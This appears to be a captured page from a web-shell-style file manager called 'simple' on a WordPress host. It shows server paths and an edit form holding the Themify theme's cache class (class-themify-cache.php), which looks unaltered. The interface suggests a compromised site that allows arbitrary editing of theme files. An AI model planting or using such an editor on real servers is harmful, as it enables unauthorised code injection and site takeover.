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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2F'>themify-ultra</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2F'>themify</a>/</p><hr><h3>✏️ Editing: class-themify-cache.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

/**
 * Class to work with  post cache
 *
 * @package default
 */
class TFCache {

    private static $upload_dir = false;
    private static $cache = array();
    public static $turnoff_cache = NULL;
    private static $role = array();
    private static $script_iscreated = false;
    public static $style_iscreated = false;
    public static $is_footer = false;
    private static $id = false;
    private static $started = 0;

    /**
     * Start Caching
     *
     * @param string $tag
     * @param integer $post_id
     * @param array $args
     * @param integer $time
     *
     * return boolean
     */
    public static function start_cache($tag, $post_id = false, array $args = array(), $time = false) {
        if (self::$turnoff_cache === NULL) {
            self::$turnoff_cache = self::is_builder_cache_activate();
        }
        if (!self::$turnoff_cache) {
            self::$started++;
            if (self::$started == 1) {
                $dir = self::get_tag_cache_dir($tag, $post_id, $args);
                self::$cache = array('cache_dir' =&gt; $dir, 'time' =&gt; $time);
                if (!self::check_cache($dir, $time)) {
                    ob_start();
                    return true;
                }
                return false;
            }
        }
        return true;
    }

    /**
     * End Caching
     *
     * return void
     */
    public static function end_cache() {
        if (!self::$turnoff_cache &amp;&amp; !empty(self::$cache)) {
            self::$started--;
            if (self::$started == 0) {
                $content = '';
                if (!self::check_cache(self::$cache['cache_dir'], self::$cache['time'])) {
                    $content = ob_get_contents();
                    ob_end_clean();
                    $dir = pathinfo(self::$cache['cache_dir'], PATHINFO_DIRNAME);
                    $wp_filesystem = Themify_Filesystem::get_instance();
                    if (!$wp_filesystem-&gt;execute-&gt;is_dir($dir)) {
                        wp_mkdir_p($dir);
                    }
                    unset($dir);
                    self::$turnoff_cache = !$wp_filesystem-&gt;execute-&gt;put_contents(self::$cache['cache_dir'], self::minify_html($content));
                }
                if (!self::$turnoff_cache) {
                    global $wp_filesystem;
                    echo $wp_filesystem-&gt;get_contents( self::$cache['cache_dir'] );
                } else {
                    echo $content;
                    self::removeDirectory(self::get_cache_dir());
                    $data = themify_get_data();
                    $data['setting-page_builder_cache'] = 'on';
                    themify_set_data($data);
                    self::$turnoff_cache = true;
                }
                self::$cache = 0;
            }
        }
    }
    
    /**
     * Get cache expire time in hours
     * 
     * return int
     */
    private static function getExpire(){
        static $t = false;
        if(!$t){
            $t = !defined('THEMIFY_BUILDER_VERSION')?themify_get('setting-page_builder_expiry'):themify_builder_get('setting-page_builder_expiry');
            $t = $t&gt;0?intval($t):2;
            $t = 24*$t;
        }
        return $t;
    }
    
    /**
     * Check version of php
     * 
     * return boolean
     */
    public static function check_version() {
        static $v = NULL;
        if(is_null($v)){
            $v = version_compare(PHP_VERSION, '5.4', '&gt;=');
        }
        return $v;
    }
	
	public static function  check_builder_cache(){
		static  $is = null;
		if(is_null($is)){
			$is = !defined('THEMIFY_BUILDER_VERSION')?(themify_check('setting-page_builder_cache') &amp;&amp; themify_get('setting-page_builder_is_active')=== 'enable'):self::is_cache_activate();
			
		}
		return $is;
	}
    
    /**
     * Check cache is disabled or builder is active or in admin
     *
     * return boolean
    */
    public static function is_cache_activate() {
        static $is = null;
        if(is_null($is)){
            $is = !defined('THEMIFY_BUILDER_VERSION')?themify_get('setting-script_minification')==='enable':(themify_builder_get('builder_disable_cache')=== 'enable' &amp;&amp; themify_builder_get('builder_is_active')=== 'enable');
        }
        return $is;
	}

    /**
     * Check builder cache is disabled or builder is active or in admin
     *
     * return boolean
     */
    public static function is_builder_cache_activate() {
		if( is_null( self::$turnoff_cache ) ) {
			if( self::is_cache_activate() ) {
				self::$turnoff_cache = (is_user_logged_in() &amp;&amp; current_user_can('manage_options')) || is_admin() || !self::check_builder_cache() ? true : false;
				self::$turnoff_cache = apply_filters( 'themify_builder_is_cache_active', self::$turnoff_cache );
				
			} else{
				self::$turnoff_cache  = true;
			}
		}
		return self::$turnoff_cache;
    }
    
    /**
     * Check if all css/js should be minified
     *
     * return boolean
    */
   private static function is_minify_all(){
        static $is = null;
        if(is_null($is)){
            $is = !defined('THEMIFY_BUILDER_VERSION')?(!self::$turnoff_cache &amp;&amp; self::check_builder_cache()):true;
        }
        return $is;
    }
    
    /**
     * Check if the file belong to themify(plugin, FW, theme and etc.)
     *
     * return boolean
    */
    public static function is_themify_file( $file, $handler ) {
        if ( strpos( $handler, 'themify_cache_' ) !== false || strpos( $file, 'maps.google.com' ) !== false ) {
			return false;
		}

		if (
			strpos( $handler, 'themify' ) !== false
			|| strpos( $handler, 'builder-' ) === 0
			|| strpos( $handler, 'tbp-' ) === 0
			|| (defined('THEME_URI') &amp;&amp; strpos( $file, THEME_URI ) !== false)
			|| preg_match( '/themify[\.-][^\/]*\.js/', $file ) // match &quot;themify.*.js&quot; or &quot;themify-*.js&quot;
		) {
			return true;
		}

		return false;
    }

    /**
     * Get tag cached directory
     *
     * @param string $tag
     * @param integer $post_id
     * @param array $args
     *
     * return string
     */
    public static function get_tag_cache_dir($tag, $post_id = false, array $args = array()) {
        $cache_dir = self::get_cache_dir();
        if ($post_id) {
            $cache_dir.=$post_id . '/';
        }
        if ($tag) {
            $tag = trim($tag);
            $cache_dir.=$tag . '/';
            $tag = !empty($args) ? sprintf(&quot;%u&quot;, crc32(serialize(array_change_key_case($args, CASE_LOWER)))) : 'default';
            if (!self::$role) {
                $current_user = wp_get_current_user();
                self::$role = ($current_user instanceof WP_User) ? sprintf(&quot;-%u&quot;, crc32(serialize(array_keys(array_change_key_case($current_user-&gt;roles, CASE_LOWER))))) : '';
            }
            $cache_dir.=$tag . self::$role . '.html';
        }
        return $cache_dir;
    }

    /**
     * Get cached directory
     *
     * return string
     */
    public static function get_cache_dir($base = false) {
        $upload_dir = !self::$upload_dir ? wp_upload_dir() : self::$upload_dir;

        $dir_info = $base ? (is_ssl()?str_replace('http://','https://',$upload_dir['baseurl']):$upload_dir['baseurl']) : $upload_dir['basedir'];
        $dir_info.='/themify/cache/' . get_template() . '/';
        if (!$base &amp;&amp; !is_dir($dir_info)) {
            wp_mkdir_p($dir_info);
        }
        return $dir_info;
    }

    /**
     * Check if cache time
     *
     * return boolean
     */
    private static function check_cache($cache_dir, $time = false) {

        if (!is_file($cache_dir)) {
            return false;
        } else {
            if(!$time){
                $time = self::getExpire();
            }
            $last = (strtotime('now') - filemtime($cache_dir)) / 3600;
            if ($last &gt;= $time) {
                return false;
            }
        }
        return true;
    }
    
    

    /**
     * Remove cache by params
     *
     * @param string $tag
     * @param integer $post_id
     * @param array $args
     *
     * return boolean
     */
    public static function remove_cache($tag = '', $post_id = false, array $args = array()) {
        $cache_dir = self::get_tag_cache_dir($tag, $post_id, $args);
        if($post_id){
            if(function_exists('wp_cache_post_change')){
               wp_cache_post_change($post_id);
            }
            elseif (function_exists('w3tc_pgcache_flush_post')){
                w3tc_pgcache_flush_post($post_id);
            }
        }
        $wp_filesystem = Themify_Filesystem::get_instance();
        $remove = $wp_filesystem-&gt;execute-&gt;exists($cache_dir) ? $wp_filesystem-&gt;execute-&gt;delete($cache_dir, true) : true;
        if ($remove) {
            $dir = self::get_cache_dir();
            $styles = $dir . 'styles/' . $post_id . '/';
            $scripts = $dir . 'scripts/' . $post_id . '/';
            self::removeDirectory($styles);
            self::removeDirectory($scripts);
            return true;
        }
        return false;
    }

    /**
     * Remove directory recursively
     *
     * return boolean
     */
    public static function removeDirectory($path) {
        $wp_filesystem = Themify_Filesystem::get_instance();
        return $wp_filesystem-&gt;execute-&gt;exists($path) ? $wp_filesystem-&gt;execute-&gt;rmdir($path, true) : true;
    }

    public static function minify_css_callback($matches) {
        return self::minify_css($matches[0]);
    }

    /**
     * Minify html
     *
     * @param string $input
     *
     * return string
     */
    public static function minify_html($input) {
        if (trim($input) === &quot;&quot;)
            return $input;

        // Minify Inline &lt;style&gt; Tag CSS.
        $input = preg_replace_callback('|&lt;style\b[^&gt;]*&gt;(.*?)&lt;/style&gt;|s', array('TFCache', 'minify_css_callback'), $input);
        return Minify_HTML::minify($input, array('jsCleanComments' =&gt; false));
    }

    /**
     * Minify Css
     *
     * @param string $input
     *
     * return string
     */
    public static function minify_css($input) {

        return preg_replace(
                array(
            // Remove comments
            '#(&quot;(?:[^&quot;\\\]++|\\\.)*+&quot;|\'(?:[^\'\\\\]++|\\\.)*+\')|\/\*(?!\!)(?&gt;.*?\*\/)#s',
            // Remove unused white-spaces
            '#(&quot;(?:[^&quot;\\\]++|\\\.)*+&quot;|\'(?:[^\'\\\\]++|\\\.)*+\'|\/\*(?&gt;.*?\*\/))|\s*+;\s*+(})\s*+|\s*+([*$~^|]?+=|[{};,&gt;~+]|\s*+-(?![0-9\.])|!important\b)\s*+|([[(:])\s++|\s++([])])|\s++(:)\s*+(?!(?&gt;[^{}&quot;\']++|&quot;(?:[^&quot;\\\]++|\\\.)*+&quot;|\'(?:[^\'\\\\]++|\\\.)*+\')*+{)|^\s++|\s++\z|(\s)\s+#si',
            // Replace `0(cm|em|ex|in|mm|pc|pt|px|vh|vw|%)` with `0`
            '#(?&lt;=[:\s])(0)(cm|em|ex|in|mm|pc|pt|px|vh|vw|%)#si',
            // Replace `:0 0 0 0` with `:0`
            '#:(0\s+0|0\s+0\s+0\s+0)(?=[;\}]|\!important)#i',
            // Replace `background-position:0` with `background-position:0 0`
            '#(background-position):0(?=[;\}])#si',
            // Replace `0.6` with `.6`, but only when preceded by `:`, `-`, `,` or a white-space
            '#(?&lt;=[:\-,\s])0+\.(\d+)#s',
            // Minify string value
            '#(\/\*(?&gt;.*?\*\/))|(?&lt;!content\:)([\'&quot;])([a-z_][a-z0-9\-_]*?)\2(?=[\s\{\}\];,])#si',
            '#(\/\*(?&gt;.*?\*\/))|(\burl\()([\'&quot;])([^\s]+?)\3(\))#si',
            // Minify HEX color code
            '#(?&lt;=[:\-,\s]\#)([a-f0-6]+)\1([a-f0-6]+)\2([a-f0-6]+)\3#i',
            // Remove empty selectors
            '#(\/\*(?&gt;.*?\*\/))|(^|[\{\}])(?:[^\s\{\}]+)\{\}#s'
                ), array(
            '$1',
            '$1$2$3$4$5$6$7',
            '$1',
            ':0',
            '$1:0 0',
            '.$1',
            '$1$3',
            '$1$2$4$5',
            '$1$2$3',
            '$1$2'
                ), trim($input));
    }

    private static function get_current_id() {
        if (self::$id) {
            return self::$id;
        }
        if (is_singular()) {
            self::$id = array('single' =&gt; get_the_ID());
        } elseif (is_archive() || is_post_type_archive()) {
            $cat = get_queried_object();
            self::$id = array('loop' =&gt; is_post_type_archive() ? $cat-&gt;query_var : $cat-&gt;term_id);
        } elseif (is_front_page()) {
            self::$id = get_option('page_on_front');
            self::$id = self::$id &gt; 0 ? array('single' =&gt; self::$id) : array('' =&gt; 'home');
        } elseif (is_home()) {
            self::$id = get_option('page_for_posts');
            self::$id = self::$id &gt; 0 ? array('single' =&gt; self::$id) : array('' =&gt; 'posts');
        }
        return self::$id ? self::$id : false;
    }

    /**
     * Check if ajax request
     *
     * @param void
     *
     * return boolean
     */
    public static function is_ajax() {
        static $is = null;
        if($is===null){
            $is = defined('DOING_AJAX') || (isset($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;&amp; strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest');
        }
        return $is;
    }

    /**
     * actions for change/print styles and javascript
     *
     * @param void
     *
     * return void
     */
    public static function wp_enque_scripts() {
        
        add_filter('print_scripts_array', array(__CLASS__, 'scripts'), 9999, 1);
        add_action('wp_head', array(__CLASS__, 'header_scripts'));
        add_filter('print_styles_array', array(__CLASS__, 'styles'), 9999, 1);
        add_filter('script_loader_tag', array(__CLASS__, 'script_loader_tag'), 10, 3);
        add_filter('style_loader_tag', array(__CLASS__, 'style_loader_tag'), 10, 3);
    }

    public static function header_scripts() {
        self::$is_footer = 1;
    }

    public static function script_loader_tag($script_tag, $handler, $src) {
		
        if (self::$script_iscreated) {
            self::$script_iscreated  = false;
            return $script_tag;//remove async because in some themes there is a js in wp_footer which uses the function from this file
        }
        if ((!self::is_minify_all() &amp;&amp; !self::is_themify_file($src,$handler)) || !($dir=self::get_page_cache_dir())) {
            return $script_tag;
        }
        if (strpos($src, '//') === 0) {
            $src = is_ssl() ? 'https:' . $src : 'http:' . $src;
        }	
        $result = wp_remote_get($src, array('sslverify' =&gt; false));
        if(is_array($result) &amp;&amp; $result['response']['code']=='200'){
            $response = wp_remote_retrieve_body($result);
            if ($response) {
                global $wp_scripts;
                $js = '';
                if (isset($wp_scripts-&gt;registered[$handler]) &amp;&amp; $wp_scripts-&gt;registered[$handler]-&gt;src) {
                    if (isset($wp_scripts-&gt;registered[$handler]-&gt;extra['data'])) {
                        $js = $wp_scripts-&gt;registered[$handler]-&gt;extra['data'] . PHP_EOL;
                    }
                }
                $fname = self::$is_footer ? 'footer' : 'header';
                $cache_dir = self::create_scripts_dir('scripts', $fname);
                $file_path = self::get_cache_dir(false);
                $file_path.= $dir . pathinfo($cache_dir, PATHINFO_BASENAME);
                $js.='/* ' . $src . ' */' . PHP_EOL;
                $js.=$response;
                $js.=&quot;\n&quot;;
                $wp_filesystem = Themify_Filesystem::get_instance();
                $output = $wp_filesystem-&gt;execute-&gt;get_contents( $cache_dir );
                $output .= $js;
                $wp_filesystem-&gt;execute-&gt;put_contents( $cache_dir, $output );
				
	
            }
        }
        return $script_tag;
    }
    
    public static function style_loader_tag($style_tag, $handler, $href) {
        if (self::$style_iscreated) {
            self::$style_iscreated = false;
            return $style_tag;
        }

        if ((!self::is_minify_all() &amp;&amp; !self::is_themify_file($href,$handler)) || !($dir = self::get_page_cache_dir())) {
            return $style_tag;
        }
        global $wp_styles;
        if (isset($wp_styles-&gt;registered[$handler])) {
            if ((isset($wp_styles-&gt;registered[$handler]-&gt;extra['conditional'])) || (isset($wp_styles-&gt;registered[$handler]-&gt;args) &amp;&amp; $wp_styles-&gt;registered[$handler]-&gt;args != 'screen' &amp;&amp; $wp_styles-&gt;registered[$handler]-&gt;args != 'all')) {
                return $style_tag;
            }
        }
        if (strpos($href, '//') === 0) {
            $href = is_ssl() ? 'https:' . $href : 'http:' . $href;
        }
        $result = wp_remote_get($href, array('sslverify' =&gt; false));
        if(is_array($result) &amp;&amp; $result['response']['code']=='200'){
            $response = wp_remote_retrieve_body($result);
            if($response){
                $minifier = new CSS();
                $path = pathinfo($href, PATHINFO_DIRNAME);
                if (!self::is_remote($path)) {
                    $minifier-&gt;add($response, $path);
                } else {
                    $minifier-&gt;add($response);
                }
                $fname = self::$is_footer ? 'footer' : 'header';
                $cache_dir = self::create_scripts_dir('styles', $fname);
                $css = '/* ' . $href . ' */' . PHP_EOL;
                $css.=$minifier-&gt;minify();
                $css.=&quot;\n&quot;;
                $wp_filesystem = Themify_Filesystem::get_instance();
                $output = $wp_filesystem-&gt;execute-&gt;get_contents( $cache_dir );
                $output.= $css;
                $output = $minifier-&gt;moveImportsToTop( $output );
                $wp_filesystem-&gt;execute-&gt;put_contents( $cache_dir, $output );
            }
        }
        return $style_tag;
    }

    /**
     * check if file is load from wp core or not
     *
     * @param string
     *
     * return boolean
     */
    private static function is_local($file) {
        return strpos($file, 'http://') === 0 || strpos($file, 'https://') === 0 || strpos($file, '//') === 0;
    }

    /**
     * check if file is load from remote url
     *
     * @param string
     *
     * return boolean
     */
    private static function is_remote($file) {
        if (self::is_local($file)) {
            $url = parse_url($file);
            return $url['scheme'] . '://' . $url['host'] != get_site_url() &amp;&amp; strpos($file, get_site_url()) !== 0;
        } else {
            false;
        }
    }

    /**
     * get full path of file
     *
     * @param string
     *
     * return string
     */
    public static function get_full_path($file) {
        if (self::is_local($file)) {
            $url = parse_url($file);
            $siteurl = get_site_url();
            if ($url['scheme'] . '://' . $url['host'] == $siteurl || strpos($file, $siteurl) === 0) {
                if (is_multisite()) {
                    $details = get_blog_details();
                    $url['path'] = str_replace($details-&gt;siteurl, '', $file);
                } else {
                    $url['path'] = str_replace(get_site_url(), '', $file);
                }
                return ABSPATH . trim($url['path'], '/');
            } else {
                return $file;
            }
        } else {
            return ABSPATH . trim($file, '/');
        }
    }

    /**
     * Scripts output, if cache exsists will return cached file, else will cache then return cached file
     *
     * @param array
     *
     * return array
     */
    public static function scripts($todo) {
        if (!empty($todo) &amp;&amp; !self::disable_cache()) {
            $dir = self::get_page_cache_dir();
            if (!$dir) {
                return $todo;
            }
           
            global $wp_scripts; 
            $fname = self::$is_footer ? 'footer' : 'header';
            $cache_dir = self::create_scripts_dir('scripts', $fname);
            $file_path = self::get_cache_dir(true);
            $file_path.= $dir . pathinfo($cache_dir, PATHINFO_BASENAME);
            if (is_file($cache_dir)) {
                if(!self::check_cache($cache_dir, FALSE)){
                    $cache_dir = self::get_cache_dir();
                    self::removeDirectory($cache_dir. 'scripts/');
                    self::removeDirectory($cache_dir. 'styles/');
                    return $todo;
                } 
                $is_own = self::is_minify_all();
                foreach ($todo as $k=&gt;$handler) {
                    if (isset($wp_scripts-&gt;registered[$handler])) {
                        if($is_own || (!$is_own &amp;&amp; self::is_themify_file($wp_scripts-&gt;registered[$handler]-&gt;src,$handler))){
                            unset($wp_scripts-&gt;registered[$handler]);
                            $wp_scripts-&gt;done[] = $handler;
                            unset($todo[$k]);
                        }
                    }
                }
                $wp_scripts-&gt;groups['themify_cache_' . $fname] = self::$is_footer;
                wp_enqueue_script('themify_cache_' . $fname, $file_path, array(),THEMIFY_VERSION, self::$is_footer);
                self::$script_iscreated = true;
                if($is_own){
                    $todo = array('themify_cache_' . $fname);
                }
                else{
                    $todo[] = 'themify_cache_' . $fname;
                }
            }
        }
        return $todo;
    }

    /**
     * check if cache directory doesn't exists, create it
     *
     * @param $type string
     * @param $filename string
     *
     * return string
     */
    public static function create_scripts_dir($type = 'scripts', $filename = false) {
        $dir = self::get_page_cache_dir($type);
        $cache_dir = self::get_cache_dir();
        $cache_dir.=trim($dir, '/') . '/';
        if (!is_dir($cache_dir)) {
            wp_mkdir_p($cache_dir);
        }
        if ($filename) {
            if (!self::$role) {
                $current_user = wp_get_current_user();
                self::$role = ($current_user instanceof WP_User) ? sprintf(&quot;-%u&quot;, crc32(serialize(array_keys(array_change_key_case($current_user-&gt;roles, CASE_LOWER))))) : '';
            }
            $ext = $type == 'scripts' ? 'js' : 'css';
            $cache_dir.=$filename . self::$role . '.' . $ext;
        }
        return $cache_dir;
    }

    /**
     * return cached directory of page
     *
     * @param string
     *
     * return string|boolean
     */
    private static function get_page_cache_dir($type = 'scripts') {
        $dir = self::get_current_id();
        if (!$dir) {
            return false;
        }
        $cache_dir = $type . '/' . current($dir) . '/';
        if (key($dir)) {
            $cache_dir.=key($dir) . '/';
        }
        if(themify_is_touch()){
            $cache_dir.='mobile/';
            if (!is_dir($cache_dir)) {
                    wp_mkdir_p($cache_dir);
            }
        }
        return $cache_dir;
    }

    /**
     * Styles output, if cache exsists will return cached file, else will cache then return cached file
     *
     * @param array
     *
     * return array
     */
    public static function styles($todo) {

        if (!empty($todo) &amp;&amp; !self::disable_cache()) {
            $dir = self::get_page_cache_dir('styles');
            if (!$dir) {
                return $todo;
            }
            $fname = self::$is_footer ? 'footer' : 'header';
            $cache_dir = self::create_scripts_dir('styles', $fname);
            $file_path = self::get_cache_dir(true);
            $file_path.= $dir . pathinfo($cache_dir, PATHINFO_BASENAME);

            if (is_file($cache_dir)) {
                if(!self::check_cache($cache_dir, FALSE)){
                    $cache_dir = self::get_cache_dir();
                    self::removeDirectory($cache_dir. 'scripts/');
                    self::removeDirectory($cache_dir. 'styles/');
                    return $todo;
                }
                $is_own = self::is_minify_all();
                $enque_styles = array('themify_cache_' . $fname);
             
                global $wp_styles;
                foreach ($todo as $handler) {
                    if (isset($wp_styles-&gt;registered[$handler])) {
                        $output = !$is_own?self::is_themify_file($wp_styles-&gt;registered[$handler]-&gt;src,$handler):true;
                        if ($output &amp;&amp; (empty($wp_styles-&gt;registered[$handler]-&gt;extra['conditional']) &amp;&amp; (empty($wp_styles-&gt;registered[$handler]-&gt;args) || $wp_styles-&gt;registered[$handler]-&gt;args == 'screen' || $wp_styles-&gt;registered[$handler]-&gt;args == 'all'))) {
                            unset($wp_styles-&gt;registered[$handler]);
                            $wp_styles-&gt;done[] = $handler;
                        } else {
                            $enque_styles[] = $handler;
                        }
                    }
                }
                
                wp_enqueue_style('themify_cache_' . $fname, $file_path, array(), THEMIFY_VERSION);
                self::$style_iscreated = true;
                return $enque_styles;
            }
        }
        return $todo;
    }

    public static function cache_update($post_id, $post, $update) {
        if ($post-&gt;post_status != 'publish' || in_array($post-&gt;post_type, array('attachment', 'page', 'nav_menu_item', 'tbuilder_layout_part', 'tbuilder_layout')) || wp_is_post_revision($post) || wp_is_post_autosave($post)) {
            return;
        }
        $cache_dir = self::get_cache_dir();
        if (is_dir($cache_dir) &amp;&amp; $dh = opendir($cache_dir)) {
            while (($dir = readdir($dh)) !== false) {
                if (!in_array($dir, array('.', '..', 'scripts', 'styles', &quot;$post_id&quot;))) {
                    self::removeDirectory($cache_dir . '/' . $dir);
                }
            }
            closedir($dh);
        }
    }


    public static function gzip_buffer() {
        if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) &amp;&amp; false !== strpos(strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') &amp;&amp; !ini_get('zlib.output_compression') &amp;&amp; function_exists('ob_gzhandler')  &amp;&amp; !in_array('ob_gzhandler', ob_list_handlers())) {
            ob_start('ob_gzhandler');
        }
    }


    public static function admin() {
        add_action('save_post', array(__CLASS__, 'cache_update'), 10, 3);
        if (self::is_cache_gzip_enabled() &amp;&amp; get_transient('themify_flush_htaccess') !== 1) {
            set_transient('themify_flush_htaccess', 1, YEAR_IN_SECONDS);//temprorary code to set gzip in htaccess
        }
    }
    public static function  clear_caches(){
        check_ajax_referer('ajax-nonce', 'nonce');
        self::removeDirectory(TFCache::get_cache_dir());
        wp_send_json_success('success');
    }
    
    public static function is_cache_gzip_enabled(){
        static $is = NULL;
        if(is_null($is)){
            $is = !defined('THEMIFY_BUILDER_VERSION')?themify_check('setting-cache_gzip'):false;
        }
        return $is;
    }

    private static function disable_cache(){
        $active = class_exists( 'WooCommerce' ) &amp;&amp; (is_checkout() || is_order_received_page() || is_wc_endpoint_url() || is_checkout_pay_page());
        if($active){
            remove_filter('print_scripts_array', array(__CLASS__, 'scripts'), 9999);
            remove_filter('wp_head', array(__CLASS__, 'header_scripts'));
            remove_filter('print_styles_array', array(__CLASS__, 'styles'), 9999);
            remove_filter('script_loader_tag', array(__CLASS__, 'script_loader_tag'), 10);
            remove_filter('style_loader_tag', array(__CLASS__, 'style_loader_tag'), 10);
            self::$turnoff_cache = true;
        }
        return $active;
    }

}
add_action('wp_ajax_themify_clear_all_caches', array('TFCache', 'clear_caches'));
if (!defined('THEMIFY_BUILDER_VERSION') &amp;&amp; TFCache::check_version() &amp;&amp; TFCache::is_cache_activate() &amp;&amp; (!isset($_POST['action']) || (isset($_POST['action']) &amp;&amp; $_POST['action']==='themify_clear_all_caches')) &amp;&amp; !isset($_GET['builder_grid_activate'])) {  
	TFCache::$turnoff_cache = TFCache::is_builder_cache_activate();
    if(TFCache::$turnoff_cache &amp;&amp; TFCache::check_builder_cache()){
            return;
    }
    if (!is_admin() &amp;&amp; !TFCache::is_ajax()) {
        $dirname = dirname(__FILE__);
        require_once $dirname . '/minify/minify.php';
        require_once $dirname . '/minify/css.php';
        require_once $dirname . '/minify/html.php';
        require_once $dirname . '/minify/converter.php';
        TFCache::wp_enque_scripts();
    }
    elseif (is_admin()) {
        TFCache::admin();
    }
}
else {
    TFCache::$turnoff_cache = true;
}
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